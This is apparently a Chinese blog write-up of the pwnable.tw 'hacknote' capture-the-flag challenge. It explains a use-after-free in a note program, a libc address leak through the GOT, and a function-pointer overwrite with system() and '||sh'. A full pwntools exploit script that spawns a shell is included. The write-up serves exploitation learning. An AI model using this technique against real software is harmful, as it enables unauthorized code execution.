pwnable.tw - hacknote(uaf漏洞利用)

*## pwnable.tw -hacknote

前言:

看了几个大佬写的pwnable.tw-hacknote ,自己也尝试写一下;

程序分析:

首先运行一下程序pwnable.tw - hacknote(uaf漏洞利用)_第1张图片
发现这里有add_note ,delete_note ,print_note三个功能,我们看一下main函数,add_note,和delete_note 函数,

main函数:
pwnable.tw - hacknote(uaf漏洞利用)_第2张图片add_note函数:
pwnable.tw - hacknote(uaf漏洞利用)_第3张图片可以看到首先为ptr+note_offset 使用malloc分配了8字节的内存,分别存放函数地址0x804862b(打印content的内容)和一个指向note内容content的指针。

delete函数:pwnable.tw - hacknote(uaf漏洞利用)_第4张图片发现漏洞(delete_note中用黑色方框框起来的部分),这里是一个UAF漏洞,delete的时候并没有把指针置为NULL,我们可以创造一个悬空指针,对漏洞进行利用!

基本的漏洞利用思路如下:
我们先add_note 两次,但是内容的大小不能是8字节(可以是16字节20字节),不然会分配 4个 16字节的fast bin ( add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24 ); 然后再delete两次,此时 fast bin链表如图:
——————————————

| content0 32bytes 第一个note的content | head

—————————————— |

| struct note0 16bytes 第一个note的结构体 |

—————————————— |

|content1 32bytes 第二个note的content |

—————————————— |

|struct note1 16bytes 第二个note的结构体 |

—————————————— V tail

此时add 第三个note,并输入内容大小为8,由于fast bin 采用LIFO原则,会取出note1的16字节 存放新note的结构体,取出note0 的16字节 存放新的内容,此时得到了修改note0结构体的机会,可把note0的前4字节改为我们想执行的函数地址(system()地址);完成之后,我们执行print(0),函数就会执行。

因为这里没有cat flag的函数,所以我们需要从动态库(libc_32.so.6已给出)中找到system函数地址,先查看一下libc_32.so.6的安全机制
pwnable.tw - hacknote(uaf漏洞利用)_第5张图片可以看到PIE(enable)开启了地址随机化,所以我们需要偏移地址来获取system函数的地址。
我们知道无论模块基址在内存中怎么变化,模块内函数相对于基址(或是另一个函数地址)的相对偏移总是固定不变的,因此我们可以通过这一点来找到函数的地址;
这里我们需要随意返回任意一个函数的实际地址来计算我们需要的函数的地地址,计算公式如下:
这里以read函数地址为例 :

system_addr=read_addr-libc_read_addr+libc_system_addr

我们将指向content的指针覆盖为read在got表中的地址,这样调用print_note后就会打印出read的实际地址:leak_read_addr;

 def leak_libc_base():
        libc=ELF('./libc_32.so.6')
        libc_read_addr=libc.symbols['read']  //打印出libc中read函数地址
        libc_system_addr=libc.symbols['system']  //打印出libc中system函数地址
        add(20,'a'*19)
        add(20,'b'*19)
        delete(0)
        delete(1)
        add(8,p32(0x804862b)+p32(0x804a00c))
        show(0)
        leak_read_addr=u32(p.recv(4))    //打印出实际的read地址
        system_addr=leak_read_addr-libc_read_addr+libc_system_addr
        return system_addr

获取到system函数地址后,最后再调用一下system函数,我们将0x804862b地址覆盖为system地址,后面参数覆盖为sh,达到system(“bin/sh”)效果。
这里要用到参数截断(本人不是很懂),参考一下大佬的解释:

原来的note_puts(arg0)是对puts(arg0+4)的封装,而现在的system(arg0)中arg0并不指向字符串而指向system的地址,所以这里需要system参数截断,才知道可以用";sh\x00"或者"||sh"这样的东西。

完整exp如下:

from pwn import * p=process('./hacknote') def add(size,data):
    p.recvuntil('Your choice ')
    p.recvuntil(':')
    p.sendline('1')     
    p.recvuntil('Note size ')
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil('Content ')
    p.recvuntil(':')
    p.sendline(data)   def delete(index):
    p.recvuntil('Your choice ')
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil('Index ')
    p.recvuntil(':')
    p.sendline(str(index))   def show(index):
    p.recvuntil('Your choice ')
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil('Index ')
    p.recvuntil(':')
    p.sendline(str(index)) def leak_libc_base():
    libc=ELF('./libc_32.so.6')
    libc_read_addr=libc.symbols['read']
    libc_system_addr=libc.symbols['system']
    add(20,'a'*19)
    add(20,'b'*19)
    delete(0)
    delete(1)
    add(8,p32(0x804862b)+p32(0x804a00c))
    show(0)
    leak_read_addr=u32(p.recv(4))
    system_addr=leak_read_addr-libc_read_addr+libc_system_addr
    return system_addr   system_addr=leak_libc_base() print hex(system_addr) delete(2) add(8,p32(system_addr)+'||sh')
#gdb.attach(p,'b * 0x8048a85') show(0) p.interactive()

参考:
https://blog.csdn.net/qq_35713009/article/details/87900729
https://blog.csdn.net/qq_35429581/article/details/78231443
https://www.jianshu.com/p/12c7d96e0bd3

你可能感兴趣的:(pwn学习)